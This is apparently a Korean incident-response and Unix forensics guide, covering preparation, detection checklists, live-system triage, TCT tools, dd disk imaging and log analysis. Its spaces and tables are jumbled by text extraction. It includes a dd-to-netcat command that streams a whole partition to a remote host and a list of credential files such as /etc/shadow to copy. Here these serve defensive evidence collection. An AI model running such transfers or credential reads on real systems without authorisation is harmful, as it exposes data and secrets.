참고자료 : 라우터보안위협요소와보안대책 (http://www.certcc.or.kr/paper/tr2002/tr2002_06/020603-router_security.pdf) o VPN (virtual private network) ; 가상사설망 VPN은공중통신망기반시설을터널링프로토콜과보안절차등을사용하여개별기업의목적에맞게구성한데이터네트워크이다. 가상사설망은공중망을통해데이터를송신하기전에데이터를암호화하고, 수신측에서복호화한다. 암호화는데이터뿐아니라, 부가적인차원의보안으로서송수신지의네트웍주소도포함된다. VPN 소프트웨어는대개회사의침입차단시스템서버에설치되는보안소프트웨어도마찬가지로지원한다. 1.2.5 사용자교육 시스템보안에일반사용자들은중요한역할을한다. 침해사고시일반사용자계정을알아낸후시스템에접근하여 Root 권한을획득하는것이일반적인방법이다. 따라서사용자계정관리를철저히하는것이중요하다고할수있다. 사용자별로접근권한을제한하고, 패스워드의주기적교환을강제하며, 크랙프로그램을이용한패스워드검사도주기적으로실시해야한다. 또한지속적인교육을통해서사용자들의보안의식을향상시켜야하며, 침해사고발견시조치사항에대해서도숙지시켜야한다. 침해사고탐지시일반사용자는어떠한조치도취해서는안되고반드시관리자에게통보해야한다. 어리숙한침해사고대응은더큰피해를가져올수있다. 1.3 침해사고대응프로세스를준비 침해사고발생시어느수준까지대응하고, 어느정도까지조사할것인가에대한정책과어떤방법과순서에따라조치할것인가에대해사전준비가되어있어야한다. 즉, 침해사고발생시침해사고대응팀의권한과절차를사전에준비해야한다. 이러한정책과절차가사전에수립되어있지않을경우침해사고대응팀은조사에상당한어려움을가질수밖에없다. 필요한자료 ( 네트워크모니터링, E-mail 감청, 로그자료등 ) 를얻기위한법적근거를확인하고, 직원의동의를구해야하는등많은시간을소비하게되고침해사고를해결하는데중요한점인신속한처리를할수없게된다. 침해사고대응정책과절차수립시아래의사항을고려하여침해사고대응수준을결정해야한다. - 사업에미치는영향 - 조사에대한법적인문제

- 기업의정책적문제 - 침해사고대응팀의기술능력 1.3.1 분석장비 (HW, SW) 준비 분석시스템은보통리눅스플랫폼을사용한다. 리눅스는대부분의파일시스템을지원하기때문에어떠한피해시스템이든지그파일시스템을복사해서분석시스템에붙이기가용이하다. 예를들면 SUN의 UFS 일경우다음과같은명령으로리눅스시스템에마운트해서사용할수있다. # mount -r -t ufs -o ufstype=sun /dev/hdd2 /mnt 리눅스시스템의또다른장점은 "loopback" devices 이다. 이는 "dd" 명령을 (5.2 디스크이미지복사참고 ) 이용한 bit 단위의디스크이미지복사본파일을분석시스템에마운트해서사용할수있도록한다. 다음은리눅스를이용한기본적인분석시스템사양및설치내용이다. - 2개의 IDE 콘트롤러를탑제한 i386 호환의마더보드 : 적어도 8기가이상의하드드라이브 2개를 primary IDE 컨트롤러에사용 (OS, 분석도구, 그리고삭제된파일을복구하기위한공간, 파티션을복사할공간등 ) - 두번째 IDE 케이블은빈채로남겨둔다. : 디스크의점퍼를조정할필요없이디스크를바로추가할수있도록한다. 이는 /dev/hdc (master) 또는 /dev/hdd (slave) 로나타날것이다. 피해시스템의디스크복사본을바로피해시스템에붙여분석하기위한준비이다. - SCSI interface card (Adaptec 1542 등 ) : DDS-3 나 DDS-4 4mm 테이프드라이브등가장큰파티션을다룰수있는공간이필요하다. 그리고이는피해시스템의자료를백업하는데도사용된다. - 만약분석시스템이네트워크에연결되어있다면, 모든보안패치를설치하고, 어떠한네트워크서비스도있어서는안된다. - 100baseT 크로스케이블 : 허브나스위치없이도피해시스템에연결하여네트워크를구성할수있도록한다. ( 이를위해서는 static route 테이블을수동으로구성해야한다.) - 분석에필요한도구들을준비한다. : 피해시스템분석에필요한도구와, netcat 등의프로그램을설치한다. 특히, dd, netcat 등의경우 static으로컴파일하여동적라이브러리를사용하지않도록준비해두는것이좋다. 이는피해시스템에서이러한명령을사용할때변조된라이브러리를사용하지않도록한다.

1.3.2 침해사고대응팀구성 보안사고가발생한뒤에전문가팀을구성하는것은너무늦다. 사전에준비되고조직된팀만이사고발생시적절한조치를신속하게취할수있다 o 침해사고대응팀의역할 - 침해사고의예방및기술연구및전파 - 침해사고예방을위한위험분석및정책수립 - 침해사고발생시신고접수및처리 - 외부기관과협력창구 o 침해사고대응팀은가능하면아래의사항을모두준수해야한다. - 모든보안사고및사고로의심되는경우정해진프로세스에따라대응한다. - 선입견을버리고조사해야한다. - 가능하면빨리실제로침해사고가발생했는지확인한다. - 사고의범위와피해를확인한다. - 항상 Hot-Line을유지한다. - 사고와관련된가능한모든자료를수집한다. - 수집된정보를적절히보관한다. - 필요한경우추가적인지원을선택한다. - 법또는조직의정책에의해정해진규칙을준수한다. - 법전문가에게지속적인조언을얻는다. - 불필요한정보를외부로유출하지않으며적절한보안을유지한다. - 전문적증거를제공한다. - 전적으로사실에의해사고처리를한다. 1.3.3 관계기관연락망확보 o ISP 보안담당자연락처

o 사법기관연락처 1. 국정원정보보호 119 (www.nis.go.kr)

- 국가 ( 공공 ) 기관정보통신망보안사고발생시사고접수및분석, 복구지원, 예방활동, 정보보안인증제품소개, 정보보안교육 홍보등의업무수행 - 전자우편 : master@certnis.go.kr - 연락처 : 02-3432-0462 2. 대검찰청인터넷범죄수사센터 (http://icic.sppo.go.kr) - 해킹, 컴퓨터바이러스유포와같은신종범죄와전자상거래를이용한사기, 개인정보침해등에대한수사기법개발및관련컴퓨터범죄에대한총괄수사와단속업무수행 - 전자우편 : icic@icic.sppo.go.kr - 연락처 : 02-3480-3600 3. 서울지방검찰청컴퓨터수사부 (http://icic.sppo.go.kr/c_1.htm) - 해킹, 컴퓨터바이러스유포와같은신종범죄와전자상거래를이용한사기, 개인정보침해등에관련된컴퓨터범죄에대한수사및단속업무수행 - 전자우편 : seoul@icic.sppo.go.kr - 연락처 : 02-530-4949 4. 경찰청사이버테러대응센터 - 사이버테러사건신고접수상담및초동조치, 사이버범죄관련인터넷고소, 고발등민원처리, 해킹바이러스유포전산부정조작등사이버테러범죄수사및수사지도 - 전자우편 : cnpa23@police.go.kr - 연락처 : 02-312-3163

2. 침해사고탐지단계 이전의장에서침해사고대응을위해미리준비해야할사항들을살펴보았고, 본장부터는실제로침해사고가발생하였을경우, 과연무슨일을어떻게해야할까하는문제 - 즉, ' 사후처리 ' 요령에초점을맞추어이야기를풀어나갈것이다. 사실 사전준비 와 사후처리 단계는밀접한연관성이있다. 사전준비가얼마나합리적이고철저하게이루어졌느냐에따라, 침해사고대응에드는비용과시간이크게달라질수있다. 2.1 사고탐지단계에서는과연무엇을해야하는가? 침해사고 대응 의실질적인시작점은이상요소 ( 異常要素 ) 의탐지가될것이다. 침해사고의탐지는다양한경로를통해이루어질수있다. 아래와같은몇가지예를생각해보자. - 침입차단시스템이나 IDS의운영을통해네트워크상의비정상적인움직임을잡아낼수있을것이다. - 또한, 시스템이나장비를관리하는과정에서사용자계정이나자원의불법사용을탐지할수도있을것이다. - 혹은고객이 web page의변조를알려주는경우를생각해볼수도있다. 어떤방식을통해서든침해사고를탐지하였다면, 해당사고와관련된모든세부사항을체크리스트형식으로꼼꼼하게기록하여야한다. ( 침해사고발생시에기록해야하는항목들을미리선정하여두면, 실제상황이발생하였을때보다효율적으로대처할수있을것이다. ) ( 그림 ) 침해사고의탐지 : 이때, 침해사고대응에불필요한것처럼보이는정보들도, 나중에필요할수있으므로가능한한세세하게기록하여야하며, 아래와같은내용들이특히중요하다.

침해사고신고자관련정보 - 침해사고를접수받은일자, 시간 - 신고자연락처 침해사고관련사항 - 침해사고추정발생시점 - 침해사고인지방법및인지시점 - 침해사고로인해정확히어떤영향을받았는가? 침해사고관련시스템상황 - 해당장비의하드웨어사양 - 해당장비의 OS의종류및버전 - 해당장비의용도 ( 운영중인서비스, 탑재된응용프로그램 ) - 해당장비의 IP 주소및호스트명, 해당사이트의도메인명 - 해당장비의즉각적인복구가필요한지여부 - 해당장비에중요정보존재여부 - 해당장비의물리적위치및물리적보안실태 - 해당장비의관리자및주요사용자정보 ( 연락처정보포함 ) - 해당장비의현재상태 - 해당장비로의원격 / 터미널상의접근이가능한지확인침해사고관련네트워크상황 - 해당장비가물려있는네트워크의설정사항 ( 구성및네트워킹방식 ) - 네트워크관련사항에변경이있는지를조사 ( 침입차단시스템설정, ACL 등 ) 공격관련사항 - 지금현재도공격중인가? - 공격자관련정보 ( 인지된공격지의 IP 주소, 도메인명 ) - 추정되는공격방법 ( 예 - 악성프로그램의사용 ) - 서비스거부를목적으로한공격인지추정.( 혹은부작용으로서비스거부의효과가발생하는지 ) - 시스템파괴행위가있었는지여부를추정. - 공격이내부자의소행인지아니면외부자의소행인지추정. 침해사고에이용할수있는어떤도구가사용가능한가? - 해당사이트에감사 (auditing) 도구가설치된시스템이있는지여부를확인. - 해당사이트에서스니퍼를운용중인지여부를확인침해사고관련당사자들의정보 ( 연락처등 ) - 시스템사용자 - 해당시스템의관리자 - 해당사이트의네트워크관리자 - 해당사업의책임자 - 법률조언자, 언론담당자다른특이사항 - 누가침해사고를인지하였는지? - 침해사고관련사실을어느정도수준까지외부에공개할것인가?

이때유의해야할것은, 침해사고탐지단계는어떤결론을내는시점이아니라는것이다. 그러한결론은조사단계가끝난후에, 충분한물적증거를바탕으로내려야한다. 다만, 침해사고의원인등에대한추정을곁들이면, 차후에좋은참고자료가될것이다. 체크리스트가완성되면해당침해사고와관련된사람들에게연락하고, 사전준비단계에서정의된침해사고대응팀의활동을개시하여야한다. 침해사고탐지단계에서생성한체크리스트는다음단계인초기대응에서계속적으로사용될것이다.

3. 초기대응 이단계에서는시스템 네트웍관리자, 조직의책임자, 보안담당자, 법률가등으로구성된침해사고대응팀이소집되거나만들어져야하고침해사고대응팀은해당하는상황이침해사고인지판단해야하며사고가사업및사용자들에미치는영향과법률적측면등의다양한점을검토해야하다. 무엇보다도초기대응단계에서중요한것은완전한분석이아니라차후조사에필요한자료를수집하고사고의확산을방지하는것이다. 구체적으로말하면정밀조사를위한자료이중화전에컴퓨터의재부팅, 조사를하면서변경이불가피한자료, 시간이지남에따라변하는자료등등의휘발성자료를 (Volatile Data) 수집하는것이주목적이다. 네트웍에대한모니터링실시, 로그파일이나시스템주요설정파일등을저장하는작업도해야한다. 3.1 초기대응방법 조사도구의준비 피해시스템에서사용할신뢰할수있는분석도구를준비하는것이다. 침입당한시스템의경우분석도구가변형되거나본래의기능을못하는경우가많다. 모든분석도구들은가능하면정적으로컴파일 (statically compile) 하여사용하도록하고불가능하면신뢰할수있는라이브러리들 (libraries) 을사용하도록한다. [ 표 6] 초기대응단계에서주로사용되는 UNIX 명령 ls dd des file pkginfo find icat lsof md5sum netcat / cryptcat netstat pcat perl ps strace strings truss df vi cat more gzip last w rm script bash modinfo lsmod ifconfig 초기대응단계에서얻어지는정보를저장할준비를한다 피해시스템의하드디스크에저장하기보다는플로피디스크또는테입드라이브등에저장하여시스템변경을최소화한다. 포렌식을위한자료이중화단계전에휘발성데이터를얻는다

시스템의재부팅시사라지는자료를수집하는것으로최근에열려진소켓, 활성화된프로세서 (running processes), RAM에있는데이터, 링크가없어진파일들의위치-시스템에서완전히지워지기전의자료-(location of unlinked files- 파일을지우게되더라도링크파일이영으로남아있으며완전히소멸하는시점은시스템이정상적으로다시시작할때이다.) 등이며아래와같은방법으로한다. 신뢰할수있는쉘 (Shell) 로의조사 X Windows-Based에서명령을실행할경우키스트록저장 (keystrokes) 같은공격을당할수있으므로사용하지않는것이좋다. 피해시스템의경우공격자가 rootkit, 트로이잔 (trojan) 등을시스템에설치하여쉘자체가정상적인결과를보여주지않은경우가있으므로 CD-ROM이나테입드라이브, 플로피디스크에미리준비한쉘과조사툴 (tool) 들을사용하는것이좋다. # mount /dev/fd0 /mnt/floppy 피해시스템에누가로그인하고있는지확인 # w - 접속한사용자계정이모두정상적인가? - 접속출처가정상적인위치인가? 특히, 내부 IP주소이외에서접속하였거나, 국외 IP 주소에서접속한경우는의심할필요가있다. - 사용자들의행위가정상적인가? scan 툴을실행하고있거나타시스템을대상으로서비스거부공격을하고있는지살핀다. 실행중인프로세서조사 # ps -aux - 긴시간동안수행되고있는프로세스가있는가? - 일반적인작업시간외 ( 새벽시간등 ) 에시작한프로세서가있는가? - 이상한이름의프로세서가있는가? - CPU 활용시간이비정상적으로높은프로세스가있는가?(sniffer 프로그램일가능성이많음 ) - 비정상적터미널을가지고있는가? ( TTY?") 루트킷이있는지조사네트웍모니터링을통하여 sniffer 툴을사용하고있는것을감지하여신뢰할수있는쉘과도구를이용하여조사하여도아무런단서를얻을수없을때는악성루트킷 ( 커널루트킷 ) 의설치를의심하고다음과같은툴을이용하여조사하도록한다. Chkrootkith (ttp://www.chkrootkit.org/) Kstat (http://www.s0ftpj.org/en/site.html) Cabonite(http://www.foundstone.com) PatchFiner(http://www.phrack.org/show.php?p=59&a=10) StMachael, Shark, 등을이용 열린포트와연결을기다리고있는서비스조사

- 열려져있는네트워크포트와 IP 확인 # netstat -anp - 열려진포트와프로세스의관계를확인 # lsof -i - NIC가 Promiscuous모드인지확인함으로서스니퍼의작동유무검사 # ifconfig -i eth0 ( Linux ) Solaris의경우 PROMISC 모드플래그가없으므로 losf 와 ps를사용하고 /Proc File의조사를통하여검사 /tmp 디렉토리복사 위의조사로남은로그의삭제 의심스러운프로세스의추적 현재의심스러운프로세스가사용하는포트로접속할경우프로세서가멈추거나예상외의결과를가져올수있으므로본격적인조사이후로접속을미루고또한프로세서를종료할경우증거자료를잃을수있으므로검사가종료될때까지놓아둔다. 프로세스의메모리상태를얻는다. 유닉스의경우 gcore 명령어를이용 core dump 파일을생성한다. # gcore 12345 gcore : core.12345 dumped #ls -la core.12345 -rw-r--r-- root 28274 May 14 10:24 core.12345 /proc 디렉토리의내용물이용 실행되고있는프로세서에대한정보는 /proc/<pid> 와같이해당프로세서번호디렉토리 에존재한다. 침입자가프로그램을메모리상에올린후바이너리프로그램을삭제하였을경우라도, 그 프로세스가현재작동중인경우에는 /proc/<pid>object/a.out 파일을 copy 함으로써원본 바이너리파일은구할수있다. [ 표 7] /proc 내용 solaris FreeBSD LINUX 내용 object/a.out file exe 프로그램파일 as mem mem 프로그램메모리 map map maps 메모리맵......... 기타 참고자료 : http://www.porcupine.org/forensics/tct.html TCT(The Coroners Toolkit)

조사준비를위한자료수집 본격적인조사로 (find 등의사용 ) 인하여변경될수있는파일의속성들을저장모든파일들의생성, 변경, 접근시간을기록한다. # ls -alru > /floppy/access # ls -alrc > /floppy/modification # ls -alr > /floppy/creation 시스템로그파일의저장 utmp,wtmp,lastlog, Process accounting logs, Web access logs, Xferlog, History files messages, secure,... 중요한설정파일을저장 /etc/passwd /etc/shadow /etc/groups /etc/hosts /etc/hosts.equiv ~/.rhosts /etc/syslog.conf /etc/rc crontab fies /etc/inetd.conf 메모리내용을 Dumping 함 - AIX # snap -a (AIX) 3.2 공개포렌식툴을이용한초기대응 The Coroner's Toolkit (TCT) http://www.fish.com/tct/ 를사용한방법을설명하겠다. TCT는실행되고있는시스템에서현재상태정보를수집하고분석할수있는뛰어난도구이다. TCT를이용한분석은실행중인서버에서작업하는방법과포렌식을위한자료이중화로얻어진이미지를분석하는방법으로나눌수있으나이번장에서는실행중인서버에서작업하는방법을설명하고이미지를이용한방법은 6장에서다루기로한다. /usr/local 로복사한후압축을해제하고설치를진행 # cp /mnt/cdrom/tct.tar.gz /usr/local

# cd /usr/local/ # tar -xzvf tct.tar.gz # cd tct # make grave-robber 를사용하여프로세서, 호스트, 네트웍에관련된정보수집 # cd /usr/local/tct/bin #./grave-robber -lpstv -l : inode에대한정보수집 -P : ps 와 icat를이용한자료를수집 -s : netstat와 df를이용한호스트와네트워정보수집 -t : 호스트와사용자에대한정보를수집 -v : 표준출력으로상세한정보를보여줌실행결과는 /usr/local/tct/data/< 서버이름 > 에저장된다. pcat 를이용한의심스러운메모리내의프로세서복사 # cd /usr/local/tct/bin #./pcat [process_id] strings less ils 를이용하여숨겨진데이터를찾는다 - 열려있거나실행중인삭제된파일 # cd /usr/local/tct/bin # mount (to find the root (/) partition) #./ils -of extf2 /dev/[drive with root partition] - 사용되지않은파일 # cd /usr/local/tct/bin #./ils -zf ext2ds /dev/[drive with root partition] 참고자료 : http://www.fish.com/tct/ http://www.securityfocus.com/infocus/1503 Freeware Forensics Tools for Unix http://www.porcupine.org/forensics/tct.html TCT(The Coroners Toolkit)

4. 대응전략결정단계 효율적인사고대응을하려면, 해당침해사고의성격을분석해서, 가장적절한대응전략을마련해야할것이다. 이때, 기술적인문제뿐만아니라사업상의요소도고려하여야하며, 이렇게채택된대응전략의실행전에의사결정권자들의허가를얻어야한다. 침해사고를어떻게대응하는냐에따라, 조직 기업이받을수있는피해의향도달라질수있으므로, 적절한대응전략의채택은대단히중요하다. 아래의그림은대응전략수립절차를간략하게보여주고있다. 4.1 적절한대응전략을결정하기 ( 그림 ) 대응전략수립절차 대응전략은침해사고의종류에따라, 또한조직 기업의성격에따라달라질것이다. 또한아래와같은요소들도대응전략결정시에고려되어져야한다. - 침해사고의조사 (investigate) 에얼마나많은인적 비용적 시간적자원이필요한가? - 침해사고관련시스템들을복제 (duplicate) 본으로조사할것인가? 혹은복제본을유지할수있는가? - 침해사고관련시스템들이얼마나심각한손실을입었는가? - 위변조혹은유출된정보가있다면, 과연얼마나중요한것인가? - 누가범인으로의심이가는가? - 해당침해사고발생사실이이미외부에공개되었는가? - 공격자가시스템등에어느정도까지접근하였는가? - 공격자는수준이어느정도라고추정되는가? - 피해장비 서비스등이즉각적으로복구되어야하는가? 아니면다소의여유가있는가? - 금전적인피해는어느정도인가? 아래는침해사고와그에따른대응전략의예이다. 이러한대응전략들은사전준비단계에서미리마련해놓아, 사고발생시에는가장합당한전략을고르기만하면되도록해야한다. 물론침해사고의유형이전혀새로운것이라면, 기존의대응전략을참조하여즉각적으로새로운전략을만들어야할것이다.

침해사고의구체적인사례종류 대응전략 대응시추정되는결과 - flooding 으로인한피해를최소화하기위해라우터설정을변경하여함. - 라우터설정이종료되면공 DoS 공격 TFN DDoS - 공격자를추적하는경우, 도출될격에의한피해가줄어들것공격수있는결과에비해비용이과다으로예측됨. 하게소용될것으로예상됨. - 문제를발생시킨자를색출업무용 PC를비인가사용 - 증거확보를위해관련자료의복사하고, 처벌을위한증거를이용하여 (unauthorize 본을유지 (forensic duplication) 하수집할수있음음란물을 d use) 고, 용의자를심문함. - 고용인의직위와내부규정검색하는행위에따라처결할수있음. - Web 페이지복구함과동시에네트 파괴행위 Web 페이지워크를모니터링함. - Web 페이지가운영가능한변조 - 공격자를확인하면법적인조치를수준으로복원됨. 강구함. - 대외공개성명을준비하고, 증거 정보유출 회사 DB에서확보를위해관련자료의복사본을 - 사법기관이조사에관여하게됨. 고객정보유출유지, 세밀한조사에착수하며, 법 - 관련서비스가중단될수있음. 률적대응을시작함. - 공격자의움직임을모니터링하고, 침입 원격에서중요정보로의비인가접속을차단한 - 공격에사용된취약점이인관리자권한으후, 시스템을복구시키고보안을지되어수정될것임. 로접속강화한다. 공격자를추적할지여부 를결정하여야함. 4.2 선택할수있는대응전략들을뽑아의사결정권자의허가를받기 당연한일이지만, 침해사고에대한대응은조직 기업이처한특수한상황에영향을받는다. 따라서, 조직 기업내에서침해사고발생시돌출될수있는문제점들을사전에차단하고, 효율적인대응을하기위해, 실질적인대응을하기전에의사결정권자들의허가를얻어야한다. 그런데, 보통의경우, 이러한의사결정권자들은기술적인측면에서문외한인경우가많으므로, 이들의이해가가능한범위에서사안을설명해야할것이다. 즉, 해당결정권자에게 TCP/IP 프로토콜의취약점등에대해설명하려고시간을낭비하기보다는 - 네트워크단절시간 - 서비스중단시간 - 법률적인요소 - 회사의이미지에미치는영향 - 침해사고로인한손실 ( 비용 ) 등

을대응전략에명시하여제시하는것이현명한처사일것이다.

5. 정밀조사를위한자료이중화단계 향후정밀한조사나증거수집을위해포렌식이미지를생성하는것이필요하다. 포렌식이미지를생성하기위한자료이중화를수행할지여부는피해시스템이속한다양한환경에따라다르다. 즉서비스를지속해야만하는경우, 피해시스템이원격지에있는경우, 그리고빠른분석을해야하는경우인지를고려한다. 특히향후법적인대응을고려하고있거나사업상중대한손실이발생했을때, 사고조사를위해파일시스템상의프래그먼트 (fragment) 정보까지찾으려고할때는자료이중화를해야한다. 침해사고대응절차중대응전략수립단계에서자료이중화를할지결정한다. 완전한자료이중화에는시간이오래소요되므로비트단위로복사한이미지를만드는대신실행중인서버에서조사할수도있다. 즉, 누가, 언제, 어디서, 어떻게, 무엇을침해했는지의증거가되는파일들의논리적위치를명확히안다면이러한파일들만백업하는것이다. 자료이중화단계는다른단계들에비해실수가발생하기쉽다. 추후법적인조사과정에서의물증으로확보하려면파일시스템을아주자세한수준으로덤프를받고결과의레이블을만들고서명, 일시등을기록해두어야한다. 물론이덤프파일은안전한곳에보관해야한다. 실제적으로데이터백업이이루어지는방법을살펴보면크게 3 가지로나눌수있다. 피해시스템의저장장치를분리해서분석시스템에붙여서이미지생성하는방법가장전통적인방법으로, 유닉스 dd(data Dumper) 명령이나 Safeback, EnCase 등도구를이용해서수행한다. 이방법을사용하면하드웨어또는소프트웨어호환성문제를해결할수있고데이터를빠르고안정적으로수집할수있다. 피해시스템에하드드라이브를붙여서이미지생성하는방법첫번째방법만큼일반적으로쓰인다. 이때는피해시스템의이미지생성명령이제대로동작하는지확인해야한다. 디스크이미지를분석시스템에네트워크로전송하는방법유닉스에서이미지를뜰때주로사용하며, 이때리눅스부트디스크나 CD-ROM을만드는것도함께해야한다. 침해시스템과분석시스템을이더넷크로스오버케이블이나스위치로연결해서데이터를보낸다. 이때이미지가제대로전송됐는지확인하기위해 MD5 등을이용한무결성확인이필수적이다. 피해시스템에서하드드라이브를분리하지않고이미지를뜨려면플로피나 CD-ROM으로부팅해야한다. 따라서피해시스템의 BIOS에서하드드라이브의세팅 ( 실린더, 헤드, 섹터등 ) 을보고기록해야한다.

데이터백업을위한준비작업은다음과같다. 5.1 분석시스템준비 분석시스템은리눅스플랫폼을사용하는것을권장한다. SUN의 UFS일경우다음과같은명령으로리눅스시스템에마운트해서사용할수있다. # mount -r -t ufs -o ufstype=sun /dev/hdd2 /mnt 리눅스시스템은 dd' 명령을이용한비트단위디스크이미지복사본파일을분석시스템에마운트하여사용할수있게한다. 참고자료 : UNIX 피해시스템분석및침입자모니터링 : PartⅠ v1.0"(http://www.certcc.or.kr) 전용분석시스템을준비하지못한경우노트북과같은랩탑컴퓨터를사용할수있다. 랩탑컴퓨터에네트워크카드, 스니퍼등분석도구를설치하고 20G 정도의충분한하드드라이브를확보하고있으면된다. 5.2 디스크이미지복사 분석시스템이준비되었으면다음에는피해시스템의디스크이미지를복사하여야한다. 이과정은증거보존을위하여중요한작업으로일반적으로백업에사용되는 tar, dump 와같은명령어는피해시스템의상태를정확하게복사하지못한다. 따라서비트단위로디스크를복사하는 dd' 명령을사용하여복사하도록한다. 이과정은시스템을격리시키고수행하는것이바람직하다. 증거를훼손하지않기위해서는절대로피해시스템의디스크를직접분석하지말고복사된정보를분석하여야하며피해시스템의파일시스템정보는 /etc/fstab' 파일을참조하여알아낸다. 다음의경우는네트워크를통해서피해시스템의디스크를파티션별로분석시스템으로복사하는방법을보여준다. 분석시스템 netcat이 10000번포트로전송되는이미지를 victim.hda2.dd로저장한다. 최대 2G까지가능하다. # nc -l -p 10000 > victim.hda2.dd 피해시스템피해시스템의 hda2 파티션을분석시스템인 172.16.1.1의 10000번포트로전송한다.

# /cdrom/dd bs=1024 < /dev/hda2 /cdrom/nc 172.16.1.1 10000 -w 3 이때피해시스템의 dd' 또는 netcat' 을사용하지말고미리 static하게컴파일해둔신뢰할수있는것을사용하고디스크이미지를다받은다음에는 MD5 등해쉬함수를이용하여원본과해쉬값을대조해야한다. 피해시스템의디스크이미지를파티션별로복사한뒤에는이를분석시스템에마운트해서분석을시작하면된다. 리눅스시스템의 loopback device를이용하여다음과같이피해시스템의디스크복사본을마운트한다. # mkdir /t # mount -o ro,loop,nodev,noexec victim.hda2.dd /t # mount -o ro,loop,nodev,noexec victim.hda1.dd /t/home... dd 의사용법은다음과같다. # dd [OPTIONS] 예를들어 hda의내용을 CD-ROM에저장하기위해 620M씩백업하려할경우다음과같이할수있다. # dd if=/dev/hda of=/mnt/evid/disk1.img bs=1m count=620 # dd if=/dev/hda of=/mnt/evid/disk2.img bs=1m count=620 skip=621 # dd if=/dev/hda of=/mnt/evid/disk3.img bs=1m count=620 skip=1241... 많이사용되는옵션은다음표와같다. 옵션 if= of= bs= count= skip= conv= 설명 input file을지정 output file을지정 block size를지정전송하는 block의수를지정 input file의시작에서몇번째 block부터전송할지지정 data conversion을지정 도구를사용한백업 Safeback(http://www.forensics-intl.com) Safeback은 DOS 부트플로피상에서작동하도록구현된백업도구이다. Safeback을이용

하면 EIDE, ATA66, SCSI 컨트롤러로연결된하드드라이브의이미지를생성할수있다. 생성된이미지는압축된형태이다. EnCase(http://www.guidancesoftware.com) EnCase는 Windows GUI를제공하고있으며널리사용된다. EnCase는실제로는포렌식백업을수행하는것이아니라증거파일을만든다. EnCase의특징은다음과같다. - FAT, NTFS, Linux, Macintosh와그이외의다양한 Unix 파일시스템 ( 버전 3.0이상 ) 지원 - 파일확장자자동인식, 이미지파일인식 - 윈도우탐색기와비슷한인터페이스제공 - 고급스트링검색기능제공 - ( 보고서작성용 ) 풍부한자료생성기능 - 하드드라이브에영향을주지않고내용을미리볼수있는 Preview 기능제공

6. 조사단계 조사단계는침해사고가누구에의해서무엇을, 언제, 어디서, 어떻게이루어졌는지를결정하는것으로즉누구에의해서어떤자료나장비가어떠한방법으로누출, 훼손됐는지를조사하여복구및대응방법까지를결정하는것이다. 침해사고대응단계중가장많은노력과시간을필요로한다. 조사를위해서는운영중인피해시스템, 복사된하드디스크 (Forensic backups), 네트웍모니터링의검사는물론최초발견자, 관리자를포함한관계되는모든인력에대한면담을실시하여세부적인상황조사가다시이루어져야하며공격자가남긴악성프로그램과로그의분석을통하여공격자의 IP와침입방법, 행동을조사하여추적및법적자료를확보하는것을포함한다. 6.1 로그및 Articast 분석 6.1.1 로그분석 시스템별로저장되는로그파일의위치 [ 표 10] 로그파일저장디렉토리 디렉토리 /usr/adm /var/adm /var/log 유닉스종류 HP-UX Solaris, AIX Linux 로그파일의종류및내용

[ 표 11] 로그파일의종류 파일명 acct, pacct aculog lastlog loginlog messages sulog utmp utmpx wtmp wtmpx vold.log xferlog 기능사용자별로실행되는모든명령어기록다이얼-아웃모뎀관련기록각사용자의가장최근로그인시간을기록실패한로그인시도를기록부트메시지등시스템의콘솔에서출력된결과를기록하고 syslog에의하여생성된메시지도기록 su 명령사용내역기록현재로그인하각사용자의기록 utmp 기능을확장, 원격호스트관련정보등자료구조확장사용자의로그인, 로그아웃시간과시스템의종료시간, 시스템시작시간등을기록 wtmp 기능확장프로피디스크나 CO-ROM과같은외부매체의사용에서발생하는에러를기록 FTP 접근을기록 참고자료 : 유닉스로그분석을통한침입자추적및로그관리 Part II (http://www.certcc.or.kr/paper/tr2001/tr2001-07/unix_log_analysis_ii.pdf) utmp(linux). utmpx(solaris) 시스템에현재로그인한사용자들에대한상태를저장 vi 등의편집기로는확인할수없으고 w, who, whodo, users, finger 등이위의파일을참조하여정보를보여주지만 rogin이루트킷 (rootkit), 트로이목마버전으로바뀔경우위의명령으로공격자를확인할수없다. 자세히살펴봐야할것은아래와같다. [root@violet93 /root]# w 9:11pm up 6 days, 5:01, 5 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT chief pts/0 123.45.2.26 Mon10am 7:20m 0.19s 0.04s telnet xxx.xxx.150.39 sis pts/1 sis.kisa.or.k 5:59pm 0.00s 0.11s 0.01s w root pts/2 - Thu 3pm 5days 0.03s 0.03s -sh root pts/3 - Thu 3pm 5days 0.02s 0.02s -sh jys pts/6 123.45.2.159 Thu 7pm 5days 0.15s 0.04s sh./vetescan xxx.xxx.110.21

- 접속시간이정상적인가? 보통국외에서공격을받았을경우우리나라와시간대역이틀려, 국내에는새벽시간대에침입한것으로흔적이남는경우가많다. - 접속출처가정상적인위치인가? 주로접속하는 IP( 내부 IP 블록 ) 가아닌곳에서접속하였거나, 특히, 국외 IP 주소에서접속한경우는의심할필요가있다. - 파일이삭제되었는지또는 last output 내용중에시간간격이평소와달리크게벌여져있을경우 wtmp(linux), wtmpx(solaris) wtmp, wtmpx 파일은사용자들의로그인로그아웃정보를가지고있으며바이너리형태이므로 last 명령을이용하여내용을확인할수있다. 지금까지의로그인, 로그아웃정보는물론시스템의 shutdown, booting 정보까지포함하고있어피해시스템분석에대단히중요한로그이다. lastlog 사용자가가장최근에로그인한시간이기록되는파일로서사용자가시스템에로그인할때마다기록된다. 동일한사용자에대해서는이전내용을 overwrite 함으로써갱신한다. lastlog 파일은 utmp, wtmp 파일과함께 login 프로그램에의해사용자인증후기록되는로그파일로써 binary 형태로저장된다. 내용을확인하기위해서는파일명과같은 "lastlog " 명령어를사용한다. 자세히살펴봐야할것은아래와같다. [root@violet93 /root]# last hcjung ftpd5812 123.45.4.80 Tue Apr 17 21:44-21:59 (00:15) hcjung pts/1 hcjung.kisa.or.k Tue Apr 17 17:59 still logged in yjkim pts/1 123.45.2.149 Mon Apr 16 20:06-20:34 (00:28) kong pts/1 123.45.2.146 Mon Apr 16 16:36-18:13 (01:37) chief pts/0 123.45.2.26 Mon Apr 16 10:38-14:35 (2+03:56) reboot system boot Mon Apr 16 01:52 hcjung pts/1 hcjung Mon Apr 15 01:21 - crash (00:30) - 접속시간이정상적인가? 보통국외에서공격을받았을경우우리나라와시간대역이틀려, 국내에는새벽시간대에침입한것으로흔적이남는경우가많다. - 접속출처가정상적인위치인가? 주로접속하는 IP( 내부 IP 블록 ) 가아닌곳에서접속하였거나, 특히, 국외 IP 주소에서접속한경우는의심할필요가있다. secure 보안과관련된주요한로그를남기며, 